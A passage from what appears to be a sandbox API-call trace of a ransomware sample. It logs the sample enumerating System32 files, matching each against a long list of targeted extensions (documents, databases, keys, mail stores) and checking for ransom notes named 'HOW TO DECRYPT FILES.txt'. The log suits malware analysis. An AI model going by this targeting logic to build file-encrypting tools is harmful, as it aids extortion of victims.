(lpString="*.tiff") returned 6 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.backup") returned 0 [0144.665] lstrlenA (lpString="*.backup") returned 8 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.pdf") returned 0 [0144.665] lstrlenA (lpString="*.pdf") returned 5 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.cert") returned 0 [0144.665] lstrlenA (lpString="*.cert") returned 6 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.docm") returned 0 [0144.665] lstrlenA (lpString="*.docm") returned 6 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.xlsm") returned 0 [0144.665] lstrlenA (lpString="*.xlsm") returned 6 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.dwg") returned 0 [0144.665] lstrlenA (lpString="*.dwg") returned 5 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.nd") returned 0 [0144.665] lstrlenA (lpString="*.nd") returned 4 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.tlg") returned 0 [0144.665] lstrlenA (lpString="*.tlg") returned 5 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.lgb") returned 0 [0144.665] lstrlenA (lpString="*.lgb") returned 5 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.mov") returned 0 [0144.665] lstrlenA (lpString="*.mov") returned 5 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.xdw") returned 0 [0144.665] lstrlenA (lpString="*.xdw") returned 5 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.ods") returned 0 [0144.665] lstrlenA (lpString="*.ods") returned 5 [0144.665] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.wav") returned 0 [0144.666] lstrlenA (lpString="*.wav") returned 5 [0144.666] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.mp3") returned 0 [0144.666] lstrlenA (lpString="*.mp3") returned 5 [0144.666] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.aiff") returned 0 [0144.666] lstrlenA (lpString="*.aiff") returned 6 [0144.666] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.flac") returned 0 [0144.666] lstrlenA (lpString="*.flac") returned 6 [0144.666] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.m4a") returned 0 [0144.666] lstrlenA (lpString="*.m4a") returned 5 [0144.666] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DHCPQEC.DLL", pszSpec="*.csv") returned 0 [0144.666] lstrlenA (lpString="*.csv") returned 5 [0144.666] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.666] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dhcpsapi.dll") returned 1 [0144.666] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dhcpsapi.dll") returned 1 [0144.666] lstrcmpiA (lpString1="", lpString2="dhcpsapi.dll") returned -1 [0144.666] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DHCPQEC.DLL") returned="DHCPQEC.DLL" [0144.666] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.666] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.666] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.666] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.667] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dhcpsapi.dll" | out: lpString1="C:\\Windows\\System32\\dhcpsapi.dll") returned="C:\\Windows\\System32\\dhcpsapi.dll" [0144.667] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.ems") returned 0 [0144.667] lstrlenA (lpString="*.ems") returned 5 [0144.667] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.db") returned 0 [0144.667] lstrlenA (lpString="*.db") returned 4 [0144.667] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.dbf") returned 0 [0144.667] lstrlenA (lpString="*.dbf") returned 5 [0144.667] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.myox") returned 0 [0144.667] lstrlenA (lpString="*.myox") returned 6 [0144.667] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.myo") returned 0 [0144.667] lstrlenA (lpString="*.myo") returned 5 [0144.667] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.qbw") returned 0 [0144.667] lstrlenA (lpString="*.qbw") returned 5 [0144.667] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.qbb") returned 0 [0144.667] lstrlenA (lpString="*.qbb") returned 5 [0144.667] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.qbm") returned 0 [0144.667] lstrlenA (lpString="*.qbm") returned 5 [0144.667] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.qbo") returned 0 [0144.667] lstrlenA (lpString="*.qbo") returned 5 [0144.667] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.qbx") returned 0 [0144.667] lstrlenA (lpString="*.qbx") returned 5 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.qba") returned 0 [0144.668] lstrlenA (lpString="*.qba") returned 5 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.qby") returned 0 [0144.668] lstrlenA (lpString="*.qby") returned 5 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.qbj") returned 0 [0144.668] lstrlenA (lpString="*.qbj") returned 5 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.ofx") returned 0 [0144.668] lstrlenA (lpString="*.ofx") returned 5 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.qif") returned 0 [0144.668] lstrlenA (lpString="*.qif") returned 5 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.mye") returned 0 [0144.668] lstrlenA (lpString="*.mye") returned 5 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.mbox") returned 0 [0144.668] lstrlenA (lpString="*.mbox") returned 6 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.eml") returned 0 [0144.668] lstrlenA (lpString="*.eml") returned 5 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.pst") returned 0 [0144.668] lstrlenA (lpString="*.pst") returned 5 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.ost") returned 0 [0144.668] lstrlenA (lpString="*.ost") returned 5 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.idx") returned 0 [0144.668] lstrlenA (lpString="*.idx") returned 5 [0144.668] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.dbx") returned 0 [0144.668] lstrlenA (lpString="*.dbx") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.sql") returned 0 [0144.669] lstrlenA (lpString="*.sql") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.mdb") returned 0 [0144.669] lstrlenA (lpString="*.mdb") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.fdb") returned 0 [0144.669] lstrlenA (lpString="*.fdb") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.wab") returned 0 [0144.669] lstrlenA (lpString="*.wab") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.dat") returned 0 [0144.669] lstrlenA (lpString="*.dat") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.txt") returned 0 [0144.669] lstrlenA (lpString="*.txt") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.jpeg") returned 0 [0144.669] lstrlenA (lpString="*.jpeg") returned 6 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.jpg") returned 0 [0144.669] lstrlenA (lpString="*.jpg") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.png") returned 0 [0144.669] lstrlenA (lpString="*.png") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.php") returned 0 [0144.669] lstrlenA (lpString="*.php") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.cs") returned 0 [0144.669] lstrlenA (lpString="*.cs") returned 4 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.cpp") returned 0 [0144.669] lstrlenA (lpString="*.cpp") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.rar") returned 0 [0144.669] lstrlenA (lpString="*.rar") returned 5 [0144.669] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.zip") returned 0 [0144.670] lstrlenA (lpString="*.zip") returned 5 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.html") returned 0 [0144.670] lstrlenA (lpString="*.html") returned 6 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.htm") returned 0 [0144.670] lstrlenA (lpString="*.htm") returned 5 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.xlsx") returned 0 [0144.670] lstrlenA (lpString="*.xlsx") returned 6 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.xls") returned 0 [0144.670] lstrlenA (lpString="*.xls") returned 5 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.mp4") returned 0 [0144.670] lstrlenA (lpString="*.mp4") returned 5 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.ppt") returned 0 [0144.670] lstrlenA (lpString="*.ppt") returned 5 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.pptx") returned 0 [0144.670] lstrlenA (lpString="*.pptx") returned 6 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.doc") returned 0 [0144.670] lstrlenA (lpString="*.doc") returned 5 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.dot") returned 0 [0144.670] lstrlenA (lpString="*.dot") returned 5 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.docx") returned 0 [0144.670] lstrlenA (lpString="*.docx") returned 6 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.7z") returned 0 [0144.670] lstrlenA (lpString="*.7z") returned 4 [0144.670] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.tar") returned 0 [0144.671] lstrlenA (lpString="*.tar") returned 5 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.bz2") returned 0 [0144.671] lstrlenA (lpString="*.bz2") returned 5 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.gz") returned 0 [0144.671] lstrlenA (lpString="*.gz") returned 4 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.mkv") returned 0 [0144.671] lstrlenA (lpString="*.mkv") returned 5 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.eml") returned 0 [0144.671] lstrlenA (lpString="*.eml") returned 5 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.msg") returned 0 [0144.671] lstrlenA (lpString="*.msg") returned 5 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.edb") returned 0 [0144.671] lstrlenA (lpString="*.edb") returned 5 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.accdb") returned 0 [0144.671] lstrlenA (lpString="*.accdb") returned 7 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.odb") returned 0 [0144.671] lstrlenA (lpString="*.odb") returned 5 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.java") returned 0 [0144.671] lstrlenA (lpString="*.java") returned 6 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.asm") returned 0 [0144.671] lstrlenA (lpString="*.asm") returned 5 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.pfx") returned 0 [0144.671] lstrlenA (lpString="*.pfx") returned 5 [0144.671] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.pem") returned 0 [0144.671] lstrlenA (lpString="*.pem") returned 5 [0144.672] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.p12") returned 0 [0144.672] lstrlenA (lpString="*.p12") returned 5 [0144.672] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.gpg") returned 0 [0144.672] lstrlenA (lpString="*.gpg") returned 5 [0144.672] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dhcpsapi.dll", pszSpec="*.vsd") returned 0 [0144.672] lstrlenA (lpString="*.vsd") returned 5 [0144.672] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.672] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dialer.exe") returned 1 [0144.672] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dialer.exe") returned 1 [0144.672] lstrcmpiA (lpString1="", lpString2="dialer.exe") returned -1 [0144.672] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dhcpsapi.dll") returned="dhcpsapi.dll" [0144.672] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.672] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.672] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.672] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.672] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dialer.exe" | out: lpString1="C:\\Windows\\System32\\dialer.exe") returned="C:\\Windows\\System32\\dialer.exe" [0144.673] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.673] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="diantz.exe") returned 1 [0144.673] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="diantz.exe") returned 1 [0144.673] lstrcmpiA (lpString1="", lpString2="diantz.exe") returned -1 [0144.673] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dialer.exe") returned="dialer.exe" [0144.673] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.673] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.673] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.673] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.673] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="diantz.exe" | out: lpString1="C:\\Windows\\System32\\diantz.exe") returned="C:\\Windows\\System32\\diantz.exe" [0144.673] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.674] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="difxapi.dll") returned 1 [0144.674] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="difxapi.dll") returned 1 [0144.674] lstrcmpiA (lpString1="", lpString2="difxapi.dll") returned -1 [0144.674] PathFindFileNameA (pszPath="C:\\Windows\\System32\\diantz.exe") returned="diantz.exe" [0144.674] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.674] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.674] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.674] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.674] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="difxapi.dll" | out: lpString1="C:\\Windows\\System32\\difxapi.dll") returned="C:\\Windows\\System32\\difxapi.dll" [0144.674] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.674] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dimsjob.dll") returned 1 [0144.674] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dimsjob.dll") returned 1 [0144.674] lstrcmpiA (lpString1="", lpString2="dimsjob.dll") returned -1 [0144.674] PathFindFileNameA (pszPath="C:\\Windows\\System32\\difxapi.dll") returned="difxapi.dll" [0144.674] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.674] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.674] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.674] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.674] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dimsjob.dll" | out: lpString1="C:\\Windows\\System32\\dimsjob.dll") returned="C:\\Windows\\System32\\dimsjob.dll" [0144.675] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.675] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dimsroam.dll") returned 1 [0144.675] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dimsroam.dll") returned 1 [0144.675] lstrcmpiA (lpString1="", lpString2="dimsroam.dll") returned -1 [0144.675] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dimsjob.dll") returned="dimsjob.dll" [0144.675] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.675] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.675] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.675] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.675] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dimsroam.dll" | out: lpString1="C:\\Windows\\System32\\dimsroam.dll") returned="C:\\Windows\\System32\\dimsroam.dll" [0144.675] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.675] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dinput.dll") returned 1 [0144.675] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dinput.dll") returned 1 [0144.675] lstrcmpiA (lpString1="", lpString2="dinput.dll") returned -1 [0144.675] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dimsroam.dll") returned="dimsroam.dll" [0144.676] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.676] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.676] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.676] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.676] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dinput.dll" | out: lpString1="C:\\Windows\\System32\\dinput.dll") returned="C:\\Windows\\System32\\dinput.dll" [0144.676] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.676] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dinput8.dll") returned 1 [0144.676] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dinput8.dll") returned 1 [0144.676] lstrcmpiA (lpString1="", lpString2="dinput8.dll") returned -1 [0144.676] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dinput.dll") returned="dinput.dll" [0144.676] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.676] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.676] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.676] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.676] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dinput8.dll" | out: lpString1="C:\\Windows\\System32\\dinput8.dll") returned="C:\\Windows\\System32\\dinput8.dll" [0144.677] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.677] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="diskcomp.com") returned 1 [0144.677] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="diskcomp.com") returned 1 [0144.677] lstrcmpiA (lpString1="", lpString2="diskcomp.com") returned -1 [0144.677] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dinput8.dll") returned="dinput8.dll" [0144.677] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.677] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.677] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.677] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.677] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="diskcomp.com" | out: lpString1="C:\\Windows\\System32\\diskcomp.com") returned="C:\\Windows\\System32\\diskcomp.com" [0144.678] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.678] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="diskcopy.com") returned 1 [0144.678] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="diskcopy.com") returned 1 [0144.678] lstrcmpiA (lpString1="", lpString2="diskcopy.com") returned -1 [0144.678] PathFindFileNameA (pszPath="C:\\Windows\\System32\\diskcomp.com") returned="diskcomp.com" [0144.678] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.678] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.678] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | 